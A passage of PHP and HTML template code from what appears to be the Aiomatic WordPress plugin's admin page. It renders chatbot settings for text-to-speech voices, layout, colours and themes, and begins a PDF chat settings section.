value="openai">OpenAI Text-to-Speech (' . esc_html__("Currently Only OpenAI API is supported for TTS", 'aiomatic-automatic-ai-content-writer') . ')</option>'; } if (isset($aiomatic_Main_Settings['elevenlabs_app_id']) && trim($aiomatic_Main_Settings['elevenlabs_app_id']) != '') { echo '<option' . ($chatbot_text_speech == 'elevenlabs' ? ' selected': '') . ' value="elevenlabs">ElevenLabs.io Text-to-Speech</option>'; } else { echo '<option' . ($chatbot_text_speech == 'elevenlabs' ? ' selected': '') . ' disabled value="elevenlabs">ElevenLabs.io Text-to-Speech (' . esc_html__("Enter API key in Settings to enable", 'aiomatic-automatic-ai-content-writer') . ')</option>'; } if (isset($aiomatic_Main_Settings['google_app_id']) && trim($aiomatic_Main_Settings['google_app_id']) != '') { echo '<option' . ($chatbot_text_speech == 'google' ? ' selected': '') . ' value="google">Google Text-to-Speech</option>'; } else { echo '<option' . ($chatbot_text_speech == 'google' ? ' selected': '') . ' disabled value="google">Google Text-to-Speech (' . esc_html__("Enter API key in Settings to enable", 'aiomatic-automatic-ai-content-writer') . ')</option>'; } if (isset($aiomatic_Main_Settings['did_app_id']) && trim($aiomatic_Main_Settings['did_app_id']) != '') { echo '<option' . ($chatbot_text_speech == 'did' ? ' selected': '') . ' value="did">D-ID Text-to-Video</option>'; echo '<option' . ($chatbot_text_speech == 'didstream' ? ' selected': '') . ' value="didstream">D-ID Text-to-Video Streaming</option>'; } else { echo '<option' . ($chatbot_text_speech == 'did' ? ' selected': '') . ' disabled value="did">D-ID Text-to-Video (' . esc_html__("Enter API key in Settings to enable", 'aiomatic-automatic-ai-content-writer') . ')</option>'; echo '<option' . ($chatbot_text_speech == 'didstream' ? ' selected': '') . ' disabled value="didstream">D-ID Text-to-Video Streaming (' . esc_html__("Enter API key in Settings to enable", 'aiomatic-automatic-ai-content-writer') . ')</option>'; } ?> </select> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to overwrite the chatbot text-to-speech voice ID. This needs to be exactly matching the voice ID of the text-to-speech engine you are using. For example, for OpenAI Text-to-Speech API, the voice IDs can be: alloy, echo, onyx, nova, fable, shimmer", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Overwrite Chatbot Text-to-Speech Voice ID:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <?php if($chatbot_text_speech == 'openai') { ?> <select id="chatbot_voice_b" onchange="anythingChanged()" class="cr_width_full"> <?php echo '<option value="">Select a voice</option>'; echo '<option value="alloy">alloy</option>'; echo '<option value="echo">echo</option>'; echo '<option value="fable">fable</option>'; echo '<option value="nova">nova</option>'; echo '<option value="onyx">onyx</option>'; echo '<option value="shimmer">shimmer</option>'; ?> </select> <?php } elseif($chatbot_text_speech == 'did' || $chatbot_text_speech == 'didstream') { ?> <input id="chatbot_voice_b" value="" list="did_voice_list" autocomplete="off" placeholder="Custom chatbot voice" onchange="anythingChanged()" class="cr_width_full"/> <?php } elseif($chatbot_text_speech == 'elevenlabs') { ?> <select id="chatbot_voice_b" onchange="anythingChanged()" class="cr_width_full"> <?php $eleven_voices = aiomatic_get_eleven_voices(); if($eleven_voices === false) { echo '<option value="" disabled>'.esc_html__("Failed to list voices!", 'aiomatic-automatic-ai-content-writer').'</option>'; } else { echo '<option value="">Select a voice</option>'; foreach($eleven_voices as $key => $voice) { echo '<option value="'.esc_attr($key).'">'.esc_html($voice).'</option>'; } } ?> </select> <?php } elseif($chatbot_text_speech == 'google') { ?> <select id="chatbot_voice_b" onchange="anythingChanged()" class="cr_width_full"> <?php $google_voices = aiomatic_get_google_voices($voice_language); if($google_voices === false) { echo '<option value="" disabled>'.esc_html__("Failed to list voices!", 'aiomatic-automatic-ai-content-writer').'</option>'; } else { echo '<option value="">Select a voice</option>'; foreach($google_voices as $key => $voice) { echo '<option value="'.esc_attr($voice['name']).'">'.esc_html($voice['name']).'</option>'; } } ?> </select> <?php } else { ?> <input type="text" id="chatbot_voice_b" value="" autocomplete="off" placeholder="Custom chatbot voice" onchange="anythingChanged()" class="cr_width_full"> <?php } ?> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to overwrite the chatbot video avatar URL.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Overwrite Chatbot Video Avatar URL:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <input type="text" id="chatbot_video_b" value="" autocomplete="off" placeholder="Custom chatbot video avatar" onchange="anythingChanged()" class="cr_width_full"> </td></tr> <tr><td> <h2><?php echo esc_html__("Chatbot Styling Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the chatbot header.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show Chatbot Header:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_header_b" onchange="anythingChanged();" > <?php echo '<option'.($show_header == 'show' ? ' selected': '').' value="show">Show</option>'; echo '<option'.($show_header == 'hide' ? ' selected': '').' value="hide">Hide</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the Chat Log TXT or PDF File Download Button.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show Chat Log File Download Button:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_dltxt_b" onchange="anythingChanged();" > <?php echo '<option'.($show_dltxt == 'show' ? ' selected': '').' value="show">Show</option>'; echo '<option'.($show_dltxt == 'hide' ? ' selected': '').' value="hide">Hide</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the Text-To-Speech Mute Button.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show Text-To-Speech Mute Button:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_mute_b" onchange="anythingChanged();" > <?php echo '<option'.($show_mute == 'show' ? ' selected': '').' value="show">Show</option>'; echo '<option'.($show_mute == 'hide' ? ' selected': '').' value="hide">Hide</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the Internet Access Button.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show Internet Access Button:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_internet_b" onchange="anythingChanged();" > <?php echo '<option'.($show_internet == 'show' ? ' selected': '').' value="show">Show</option>'; echo '<option'.($show_internet == 'hide' ? ' selected': '').' value="hide">Hide</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the clearing button.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show Chat Clearing Button:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_clear_b" onchange="anythingChanged();" > <?php echo '<option'.($show_clear == 'show' ? ' selected': '').' value="show">Show</option>'; echo '<option'.($show_clear == 'hide' ? ' selected': '').' value="hide">Hide</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the chat font size of the chatbot form. Default is 1em", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Font Size:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="font_size_b" onchange="anythingChanged();" > <?php echo '<option'.($font_size == '1em' ? ' selected': '').' value="1em">1em</option>'; for($i = 10; $i <= 30; $i++){ echo '<option'.($font_size == $i . 'px' ? ' selected': '').' value="'.esc_html($i).'px">'.esc_html($i).'px</option>'; } ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the width of the chatbot form. For full width, you can set 100% (default value). You can also set values in pixels, like: 400px", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Form Width:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="width_b" value="<?php echo esc_html($width);?>" placeholder="100%" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the height of the chatbot form. Default is auto. You can set values in pixels, like: 400px", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Form Height:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="height_b" value="<?php echo esc_html($height);?>" placeholder="auto" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the min-height of the chatbot form (when the form is resized, this is the minimum height it will be allowed to get. Default is 250px. You can set values in pixels, like: 400px", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Form Min-Height:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="minheight_b" value="<?php echo esc_html($minheight);?>" placeholder="250px" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the width of the chatbot bubbles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat Bubble Width:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="bubble_width_b" class="cr_width_full" onchange="anythingChanged()"> <?php echo '<option' . (($bubble_width == 'full' || empty($bubble_width)) ? ' selected': '') . ' value="full">' . esc_html__("Full Width", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option' . ($bubble_width == 'auto' ? ' selected': '') . ' value="auto">' . esc_html__("Resize To Text Width", 'aiomatic-automatic-ai-content-writer') . '</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the alignment of the chatbot bubbles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Avatar/Chat Bubble Alignment:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="bubble_alignment_b" class="cr_width_full" onchange="anythingChanged()"> <?php echo '<option' . (($bubble_alignment == 'left' || empty($bubble_alignment)) ? ' selected': '') . ' value="left">' . esc_html__("Left", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option' . ($bubble_alignment == 'right' ? ' selected': '') . ' value="right">' . esc_html__("Right", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option' . ($bubble_alignment == 'center' ? ' selected': '') . ' value="center">' . esc_html__("Center", 'aiomatic-automatic-ai-content-writer') . '</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the alignment of the user bubbles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("User Avatar/Chat Bubble Alignment:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="bubble_user_alignment_b" class="cr_width_full" onchange="anythingChanged()"> <?php echo '<option' . (($bubble_user_alignment == 'left' || empty($bubble_user_alignment)) ? ' selected': '') . ' value="left">' . esc_html__("Left", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option' . ($bubble_user_alignment == 'right' ? ' selected': '') . ' value="right">' . esc_html__("Right", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option' . ($bubble_user_alignment == 'center' ? ' selected': '') . ' value="center">' . esc_html__("Center", 'aiomatic-automatic-ai-content-writer') . '</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the chatbot avatar in the conversation?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show AI Chatbot Avatar In Conversation:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_ai_avatar_b" onchange="anythingChanged();" > <?php echo '<option'.($show_ai_avatar == 'show' ? ' selected': '').' value="show">Show</option>'; echo '<option'.($show_ai_avatar == 'hide' ? ' selected': '').' value="hide">Hide</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the chatbot avatar in the conversation?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show User Chatbot Avatar In Conversation:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_user_avatar_b" onchange="anythingChanged();" > <?php echo '<option'.($show_user_avatar == 'show' ? ' selected': '').' value="show">Show</option>'; echo '<option'.($show_user_avatar == 'hide' ? ' selected': '').' value="hide">Hide</option>'; ?> </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set your own custom header text for the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Custom Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <?php $settings = array( 'media_buttons' => true, 'quicktags' => true, 'tabindex' => '4', 'editor_height' => 80, 'teeny' => false ); wp_editor( $custom_header, 'custom_header_b', $settings ); ?> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set your own custom footer text for the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Custom Footer Text:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <?php $settings = array( 'media_buttons' => true, 'quicktags' => true, 'tabindex' => '4', 'editor_height' => 80, 'teeny' => false ); wp_editor( $custom_footer, 'custom_footer_b', $settings ); ?> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set your own custom CSS code for the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Custom CSS Code:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <?php $settings = array( 'media_buttons' => true, 'quicktags' => true, 'tabindex' => '4', 'editor_height' => 80, 'teeny' => false ); wp_editor( $custom_css, 'custom_css_b', $settings ); ?> </div> </td></tr> <tr><td colspan="2"><h2><?php echo esc_html__("AI Chatbot Coloring Options:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the background color of the chatbot form. Default is #ffffff", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Form Background Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="general_background_b" value="<?php echo esc_attr($general_background);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the background color of the chatbot form. Default is #f7f7f9", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Input Background Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="background_b" value="<?php echo esc_html($background);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the font color of the user chatbot form. Default is white", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("User Font Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="user_font_color_b" value="<?php echo esc_html($user_font_color);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the font color of the user baloon chatbot form. Default is #0084ff", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("User Baloon Background Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="user_background_color_b" value="<?php echo esc_html($user_background_color);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the font color of the AI chatbot form. Default is black", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Font Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="ai_font_color_b" value="<?php echo esc_html($ai_font_color);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the font color of the AI baloon chatbot form. Default is #f0f0f0", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Baloon Background Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="ai_background_color_b" value="<?php echo esc_html($ai_background_color);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the border color for the input field. Default is #e1e3e6", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Input Border Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="input_border_color_b" value="<?php echo esc_html($input_border_color);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the text color for the input field. Default is #e1e3e6", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Input Text Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="input_text_color_b" value="<?php echo esc_html($input_text_color);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the placeholder color for the input field. Default is #e1e3e6", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Input Placeholder Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="input_placeholder_color_b" value="<?php echo esc_html($input_placeholder_color);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the color of the persona name.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Persona Name Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="persona_name_color_b" value="<?php echo esc_html($persona_name_color);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the color of the persona role.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Persona Role Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="persona_role_color_b" value="<?php echo esc_html($persona_role_color);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the color of the submit button. Default is #55a7e2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Submit Button Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="submit_color_b" value="<?php echo esc_html($submit_color);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the text color of the submit button. Default is #55a7e2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Submit Button Text Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="submit_text_color_b" value="<?php echo esc_html($submit_text_color);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the color of the voice button. Default is #55a7e2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Button Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="voice_color_b" value="<?php echo esc_html($voice_color);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the color of the voice button when it is activated. Default is #55a7e2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Button Activated Color:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="color" id="voice_color_activated_b" value="<?php echo esc_html($voice_color_activated);?>" onchange="anythingChanged()"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to show the chatbot header.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Theme:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="chat_theme_b" onchange="themeChanged_b();" > <?php echo '<option'.($chat_theme == '' ? ' selected': '').' value="">No Change</option>'; echo '<option'.($chat_theme == 'light' ? ' selected': '').' value="light">Light</option>'; echo '<option'.($chat_theme == 'dark' ? ' selected': '').' value="dark">Dark</option>'; echo '<option'.($chat_theme == 'midnight' ? ' selected': '').' value="midnight">Midnight</option>'; echo '<option'.($chat_theme == 'sunrise' ? ' selected': '').' value="sunrise">Sunrise</option>'; echo '<option'.($chat_theme == 'ocean' ? ' selected': '').' value="ocean">Ocean</option>'; echo '<option'.($chat_theme == 'forest' ? ' selected': '').' value="forest">Forest</option>'; echo '<option'.($chat_theme == 'winter' ? ' selected': '').' value="winter">Winter</option>'; echo '<option'.($chat_theme == 'twilight' ? ' selected': '').' value="twilight">Twilight</option>'; echo '<option'.($chat_theme == 'desert' ? ' selected': '').' value="desert">Desert</option>'; echo '<option'.($chat_theme == 'cosmic' ? ' selected': '').' value="cosmic">Cosmic</option>'; echo '<option'.($chat_theme == 'rose' ? ' selected': '').' value="rose">Rose</option>'; echo '<option'.($chat_theme == 'tropical' ? ' selected': '').' value="tropical">Tropical</option>'; echo '<option'.($chat_theme == 'facebook' ? ' selected': '').' value="facebook">Facebook</option>'; echo '<option'.($chat_theme == 'twitter' ? ' selected': '').' value="twitter">Twitter</option>'; echo '<option'.($chat_theme == 'instagram' ? ' selected': '').' value="instagram">Instagram</option>'; echo '<option'.($chat_theme == 'whatsapp' ? ' selected': '').' value="whatsapp">WhatsApp</option>'; echo '<option'.($chat_theme == 'linkedin' ? ' selected': '').' value="linkedin">LinkedIn</option>'; $aiomatic_themes = new WP_Query(array( 'post_type' => 'aiomatic_themes', 'posts_per_page' => -1, 'order' => 'DESC', 'orderby' => 'date', 'post_status' => 'any' )); if($aiomatic_themes->have_posts()) { foreach ($aiomatic_themes->posts as $aiomatic_theme) { echo '<option'.($chat_theme == $aiomatic_theme->ID ? ' selected': '').' value="' . $aiomatic_theme->ID . '">'. esc_html($aiomatic_theme->post_title) . '</option>'; } } ?> </select> </div> </td></tr> <tr><td colspan="2"> <h2><?php echo esc_html__("Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/XFomdusLtHc" frameborder="0" allowfullscreen></iframe></div></p> </td></tr> </table> </div><div id="tab-13" class="tab-content"> <table class="widefat"> <tr><td colspan="2"> <h2><?php echo esc_html__("PDF Chat Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <?php $all_ok = true; $issue_counter = 1; if (!is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php')) { $all_ok = false; echo '<tr><td colspan="2"><span class="cr_red">' . $issue_counter++ . '. ' . esc_html__("This option requires the Aiomatic Extension - PDF File Storage And Parsing to be active. Check it", 'aiomatic-automatic-ai-content-writer') . ' <a href="https://coderevolution.ro/product/aiomatic-extension-pdf-file-storage-and-parsing/" target="_blank">' . esc_html__("here", 'aiomatic-automatic-ai-content-writer') . '</a>.</span></td></tr>'; } if($pinecone_app_id == '' && $qdrant_app_id == '') { $all_ok = false; echo '<tr><td colspan="2"><span class="cr_red">' . $issue_counter++ . '. ' . esc_html__("You need to enter a Pinecone.io API or a Qdrant API key in the 'API Keys' tab to use this feature, go to the plugin's 'Settings' menu -> in the 'API Keys' tab, set up an API key for a vector database ('Embeddings API Options' section)", 'aiomatic-automatic-ai-content-writer') . '</span></td></tr>'; } if (!isset($aiomatic_Main_Settings['embeddings_chat_short']) || trim($aiomatic_Main_Settings['embeddings_chat_short']) != 'on') { $all_ok = false; echo '<tr><td colspan="2"><span class="cr_red">' . $issue_counter++ . '. ' . esc_html__("You need to enable Embeddings for the Chatbot -> go to the 'Embeddings' tab in the same menu and check the 'Enable Embeddings For' -> 'Chatbot Shortcodes' checkbox -> save settings.", 'aiomatic-automatic-ai-content-writer') . '</span></td></tr>'; } ?> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable users to upload PDF files to the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Users To Upload PDF Files To The Chatbot:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="upload_pdf" name="aiomatic_Chatbot_Settings[upload_pdf]"<?php if ($upload_pdf == 'on') { echo ' checked '; } if($all_ok === false) { echo " disabled title='This option requires the Aiomatic Extension - PDF File Storage And Parsing to be active'"; } ?>> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to limit the maximum number of pages extracted from the pdf files.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Limit PDF Page Count:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0" step="1" id="pdf_page" name="aiomatic_Chatbot_Settings[pdf_page]" class="cr_width_full" value="<?php echo esc_html($pdf_page);?>" placeholder="PDF page count limit"> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to limit the maximum number of characters extracted from the pdf files.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Limit PDF Character Count:", 